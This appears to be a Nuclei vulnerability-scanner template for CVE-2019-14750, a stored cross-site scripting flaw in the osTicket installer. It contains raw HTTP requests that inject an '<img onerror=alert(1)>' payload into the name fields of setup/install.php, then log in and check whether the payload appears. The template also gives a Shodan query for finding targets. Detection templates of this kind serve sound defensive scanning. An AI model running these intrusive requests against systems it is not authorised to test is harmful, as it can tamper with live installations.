id: CVE-2019-14750

info:
  name: osTicket < 1.12.1 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: |
    An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
  remediation: |
    Upgrade osTicket to version 1.12.1 or later to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14750
    - http://packetstormsecurity.com/files/154005/osTicket-1.12-Cross-Site-Scripting.html
    - https://github.com/osTicket/osTicket/commit/c3ba5b78261e07a883ad8fac28c214486c854e12
    - https://github.com/osTicket/osTicket/releases/tag/v1.10.7
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14750
    cwe-id: CWE-79
    epss-score: 0.05309
    epss-percentile: 0.92251
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
  tags: packetstorm,cve,cve2019,osticket,xss,intrusive
variables:
  user_name: "{{to_lower(rand_text_alphanumeric(6))}}"
  user_pass: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        POST /upload/setup/install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        s=install&name={{user_name}}&email={{user_email}}&lang_id=en_US&fname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&lname=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3B%3E&admin_email={{user_email}}&username={{user_name}}&passwd={{user_pass}}&passwd2={{user_pass}}&prefix=ost_&dbhost={{dbhost}}&dbname=tt&dbuser={{username}}&dbpass={{password}}&timezone=Asia%2FTokyo
      - |
        GET /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /upload/scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{user_name}}&passwd={{user_pass}}&ajax=1
      - |
        GET /upload/scp/settings.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '<img src=x onerror=alert(1);>'
          - 'getConfig().resolve'
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

# digest: 4a0a0047304502200b4d52ea756fe452c1df055ef3bcfe0b414252a2d89874920c630074e631a18a02210098cb0259cabfe5109790b23db4b38a6fd43a780960b9bc1846721e03480f5761:922c64590222798bb761d5b6d8e72950